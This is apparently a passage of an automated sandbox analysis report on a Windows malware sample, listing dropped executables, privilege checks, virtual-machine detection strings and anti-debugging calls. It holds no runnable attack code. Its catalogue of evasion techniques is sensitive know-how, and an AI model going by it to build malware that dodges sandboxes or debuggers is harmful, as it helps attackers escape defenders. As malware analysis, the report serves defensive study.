Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 366
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 6567
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 916
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 810
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 810

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_1-2575
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_3-2575
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_0-2574
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_2-2451

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	API coverage: 6.6 %
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	API coverage: 7.4 %

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\9AEE.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2334.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ADAB.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IXP001.TMP\x1678116.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IXP001.TMP\j8864040.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\92C4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IXP000.TMP\k4830352.exe	Jump to dropped file
Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IXP000.TMP\e6072708.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\3D31.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IXP001.TMP\d7678512.exe	Jump to dropped file

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\svchost.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Manufacturer, Product FROM Win32_BaseBoard

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: Amcache.hve.11.dr	Binary or memory string: VMware
Source: explorer.exe, 00000016.00000000.272123844.000000000508E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&0000008
Source: Amcache.hve.11.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: Amcache.hve.11.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.11.dr	Binary or memory string: VMware, Inc.
Source: explorer.exe, 00000016.00000000.272123844.000000000513F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}BE9
Source: AppLaunch.exe, 00000009.00000002.252595223.000000000534A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWo
Source: explorer.exe, 00000016.00000000.272123844.000000000513F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B3
Source: explorer.exe, 00000016.00000000.272123844.000000000504D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.11.dr	Binary or memory string: VMware Virtual disk SCSI Disk Devicehbin
Source: explorer.exe, 00000016.00000000.272123844.000000000513F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B
Source: AppLaunch.exe, 00000009.00000002.252595223.0000000005337000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000009.00000002.252595223.000000000534A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.477543760.000002164665D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.473814902.000001B959102000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.473554535.000001B95862A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000021.00000002.328476996.0000018D8FCEB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000016.00000000.272123844.000000000513F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B
Source: explorer.exe, 00000016.00000000.272123844.00000000050EF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: Amcache.hve.11.dr	Binary or memory string: VMware, Inc.me
Source: svchost.exe, 00000010.00000002.476290047.0000021641029000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@afF
Source: svchost.exe, 00000021.00000002.328278209.0000018D8FC84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: Amcache.hve.11.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.18227214.B64.2106252220,BiosReleaseDate:06/25/2021,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: svchost.exe, 0000001D.00000002.473905866.0000019F38067000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.11.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: explorer.exe, 00000016.00000000.272123844.000000000504D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}U)
Source: Amcache.hve.11.dr	Binary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: explorer.exe, 00000016.00000000.272123844.000000000513F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B<9bd
Source: Amcache.hve.11.dr	Binary or memory string: VMware-42 35 9c fb 73 fa 4e 1b-fb a4 60 e7 7b e5 4a ed
Source: explorer.exe, 00000016.00000000.272123844.000000000513F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}BN8
Source: explorer.exe, 00000016.00000000.272123844.000000000513F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}BX
Source: explorer.exe, 00000016.00000000.272123844.000000000513F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000016.00000000.271894567.00000000043D1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b>
Source: explorer.exe, 00000016.00000003.301985930.00000000043AF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}G
Source: svchost.exe, 00000010.00000002.477565889.0000021646664000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @Hyper-V RAW
Source: explorer.exe, 00000016.00000000.272400151.00000000063DB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000F
Source: svchost.exe, 00000021.00000002.328476996.0000018D8FCEB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWtion* 8
Source: Amcache.hve.11.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.11.dr	Binary or memory string: VMware7,1
Source: Amcache.hve.11.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.11.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.11.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.11.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.11.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: explorer.exe, 00000016.00000000.272123844.000000000513F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B)8]e

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Code function: 0_2_00805467 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

0_2_00805467

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Code function: 0_2_00802390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_00802390
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Code function: 1_2_009A2390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	1_2_009A2390
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Code function: 2_2_00AF2390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	2_2_00AF2390
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Code function: 3_2_01132390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	3_2_01132390
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A06FED FindFirstFileExW,	6_2_00A06FED
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A074D1 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	6_2_00A074D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_004087DD FindFirstFileExW,	9_2_004087DD
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003F6FED FindFirstFileExW,	14_2_003F6FED
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003F74D1 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	14_2_003F74D1
Source: C:\Users\user\AppData\Local\Temp\3F93.exe	Code function: 40_2_00F32390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	40_2_00F32390
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe	Code function: 41_2_00C42390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	41_2_00C42390

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

System information queried: CodeIntegrityInformation

Jump to behavior

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Code function: 0_2_00802F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,

0_2_00802F1D

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009C1532 mov edi, dword ptr fs:[00000030h]	6_2_009C1532
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009C3846 mov edi, dword ptr fs:[00000030h]	6_2_009C3846
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009C1B4F mov edi, dword ptr fs:[00000030h]	6_2_009C1B4F
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A0A194 mov eax, dword ptr fs:[00000030h]	6_2_00A0A194
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A0A1E7 mov eax, dword ptr fs:[00000030h]	6_2_00A0A1E7
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A0A141 mov eax, dword ptr fs:[00000030h]	6_2_00A0A141
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A0A258 mov eax, dword ptr fs:[00000030h]	6_2_00A0A258
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A0A3A0 mov eax, dword ptr fs:[00000030h]	6_2_00A0A3A0
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A0A3F5 mov eax, dword ptr fs:[00000030h]	6_2_00A0A3F5
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A0A34B mov eax, dword ptr fs:[00000030h]	6_2_00A0A34B
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A0A432 mov eax, dword ptr fs:[00000030h]	6_2_00A0A432
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009FAFE5 mov ecx, dword ptr fs:[00000030h]	6_2_009FAFE5
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A3EE15 mov eax, dword ptr fs:[00000030h]	6_2_00A3EE15
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A47631 mov edi, dword ptr fs:[00000030h]	6_2_00A47631
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A3BC74 mov ecx, dword ptr fs:[00000030h]	6_2_00A3BC74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_00406874 mov ecx, dword ptr fs:[00000030h]	9_2_00406874
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_00409A15 mov eax, dword ptr fs:[00000030h]	9_2_00409A15
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_00412231 mov edi, dword ptr fs:[00000030h]	9_2_00412231
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003B1532 mov edi, dword ptr fs:[00000030h]	14_2_003B1532
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003B1B4F mov edi, dword ptr fs:[00000030h]	14_2_003B1B4F
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003B3846 mov edi, dword ptr fs:[00000030h]	14_2_003B3846
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003FA141 mov eax, dword ptr fs:[00000030h]	14_2_003FA141
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003FA194 mov eax, dword ptr fs:[00000030h]	14_2_003FA194
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003FA1E7 mov eax, dword ptr fs:[00000030h]	14_2_003FA1E7
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003FA258 mov eax, dword ptr fs:[00000030h]	14_2_003FA258
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003FA34B mov eax, dword ptr fs:[00000030h]	14_2_003FA34B
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003FA3A0 mov eax, dword ptr fs:[00000030h]	14_2_003FA3A0
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003FA3F5 mov eax, dword ptr fs:[00000030h]	14_2_003FA3F5
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003FA432 mov eax, dword ptr fs:[00000030h]	14_2_003FA432
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003EAFE5 mov ecx, dword ptr fs:[00000030h]	14_2_003EAFE5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe

Code function: 6_2_009D86CE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_009D86CE

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe

Code function: 6_2_009C3F26 GetProcessHeap,

6_2_009C3F26

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Code function: 0_2_00806F40 SetUnhandledExceptionFilter,	0_2_00806F40
Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Code function: 0_2_00806CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00806CF0
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Code function: 1_2_009A6F40 SetUnhandledExceptionFilter,	1_2_009A6F40
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Code function: 1_2_009A6CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_009A6CF0
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Code function: 2_2_00AF6F40 SetUnhandledExceptionFilter,	2_2_00AF6F40
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Code function: 2_2_00AF6CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00AF6CF0
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Code function: 3_2_01136F40 SetUnhandledExceptionFilter,	3_2_01136F40
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Code function: 3_2_01136CF0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_01136CF0
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009D86CE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_009D86CE
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009CA754 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_009CA754
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009CB0DD IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_009CB0DD
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009C3BAC SetUnhandledExceptionFilter,	6_2_009C3BAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_00401748 SetUnhandledExceptionFilter,	9_2_00401748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_004015B5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_004015B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_00401A43 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00401A43
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_00407653 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00407653
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003C86CE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_003C86CE
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003BA754 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_003BA754
